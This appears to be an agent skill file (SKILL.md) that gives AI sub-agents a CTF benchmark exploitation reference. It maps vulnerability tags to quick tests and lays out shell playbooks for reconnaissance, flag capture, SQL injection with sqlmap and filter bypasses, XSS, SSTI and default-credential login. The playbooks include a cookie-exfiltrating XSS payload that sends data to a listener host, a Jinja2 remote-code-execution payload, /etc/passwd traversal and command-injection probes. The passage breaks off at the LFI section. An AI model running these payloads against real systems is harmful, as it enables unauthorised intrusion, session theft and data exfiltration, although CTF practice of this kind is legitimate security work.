benchmark

Files (1)

• SKILL.md

SKILL.md (first lines)

# Benchmark — CTF Exploitation Reference

This skill provides vulnerability-to-technique mapping for CTF benchmark challenges.
Sub-agents (recon, exploit) should load this skill for challenge context.

## Vulnerability Tag → Technique Mapping

| Tag | Sub-Skill | Quick Test |
|-----|-----------|------------|
| `sqli` | `/skills/exploit/web/sqli.md` | Add `'` to params, check for SQL errors |
| `xss` | `/skills/exploit/web/xss.md` | Check for input reflection, find `/report` endpoint |
| `ssti` | `/skills/exploit/web/ssti.md` | Send `{{7*7}}` in inputs, look for `49` |
| `lfi` | `/skills/exploit/web/lfi.md` | Try `../../../etc/passwd` in file params |
| `idor` | `/skills/exploit/web/idor.md` | Find IDs in URLs, access other users' data |
| `ssrf` | `/skills/exploit/web/ssrf.md` | Test URL params with `http://127.0.0.1` |
| `xxe` | `/skills/exploit/web/xxe.md` | Send XML with external entity definition |
| `path_traversal` | `/skills/exploit/web/lfi.md` | Same as LFI — `../` in file/path parameters |
| `command_injection` | `/skills/exploit/web/command-injection.md` | Try `;id` or `$(id)` in inputs |
| `default_credentials` | — | Try `admin:admin`, `admin:password`, `user:user`, `test:test` |
| `jwt` | — | Decode JWT, test `alg:none`, try weak secrets like `secret` |
| `information_disclosure` | — | Check source, `/robots.txt`, `/.git/HEAD`, hidden paths |
| `file_upload` | `/skills/exploit/web/file-upload.md` | Upload webshell with bypass |
| `deserialization` | `/skills/exploit/web/deserialization.md` | Check for serialized data |
| `cve` | — | Identify the service/version, search for known CVE exploits |

**Multiple tags?** Tags are hints — try the most specific technique first (sqli > xss > ssti > lfi), then use supporting tags (idor, jwt, default_credentials) for context.

## Recon Phase Guidance

When probing a benchmark target:

```bash
# Get the main page and examine it
curl -sv "$TARGET/" 2>&1

# Quick endpoint discovery
curl -s "$TARGET/robots.txt"
curl -s "$TARGET/login" -D- -o /dev/null
curl -s "$TARGET/api" -D- -o /dev/null
curl -s "$TARGET/admin" -D- -o /dev/null
```

## Flag Capture Patterns

After exploitation, check ALL common flag locations:

```bash
# File system paths
curl -s "$TARGET/flag.txt"; curl -s "$TARGET/FLAG.txt"
curl -s "$TARGET/static/flag.txt"

# Via command execution (after RCE)
cat /flag.txt 2>/dev/null; cat /FLAG.txt 2>/dev/null; cat /app/flag.txt 2>/dev/null
find / -name "flag*" -type f 2>/dev/null | head -5
printenv | grep -i flag

# Database (after SQLi)
# SELECT * FROM flags; SELECT flag FROM secret; etc.
```

## Quick Playbooks

### sqli
```bash
# Detect
curl -s "$TARGET/endpoint?param=1'"
curl -s "$TARGET/endpoint?param=1' OR '1'='1"

# If manual confirms SQLi, use sqlmap
sqlmap -u "$TARGET/endpoint?param=value" --batch --dump --level=3 --risk=2

# Bypass: UNION -> UnIoN, SELECT -> SeLeCt, OR -> ||
# URL-encode: %27 for ', %20 for space
# Comments: UN/**/ION SE/**/LECT
```

### xss
```bash
# Find reflection point
curl -s "$TARGET/" | grep -i "input\|form\|search\|comment"
curl -s "$TARGET/search?q=XSSTEST123" | grep XSSTEST123

# Find bot/report endpoint
curl -s "$TARGET/report" -v 2>&1
curl -s "$TARGET/contact" -v 2>&1

# Start listener, inject payload, trigger bot
python3 -m http.server 8888 &
# Inject: <script>fetch("http://YOUR_IP:8888/?c="+document.cookie)</script>
```

### ssti (Django/Jinja2)
```bash
# Detect template engine
curl -s "$TARGET/" -d "input={{7*7}}" | grep 49
curl -s "$TARGET/" -d "input={{config}}"

# Django SSTI
curl -s "$TARGET/" -d "input={{flag}}"
curl -s "$TARGET/" -d "input={{settings.SECRET_KEY}}"

# Jinja2 RCE
curl -s "$TARGET/" -d "input={{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}"
```

### idor + jwt + default_credentials
```bash
# Login with default credentials
curl -sv "$TARGET/login" -d "username=admin&password=admin" -c cookies.txt 2>&1
curl -sv "$TARGET/api/login" -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' 2>&1

# Check for JWT in response, decode: echo "$JWT" | cut -d. -f2 | base64 -d
# IDOR: change user/object IDs — GET /api/users/1 → /api/users/2
```

### lfi + information_disclosure
```bash
# Path traversal

From dazeb/botron, Apache-2.0.

More from dazeb/botron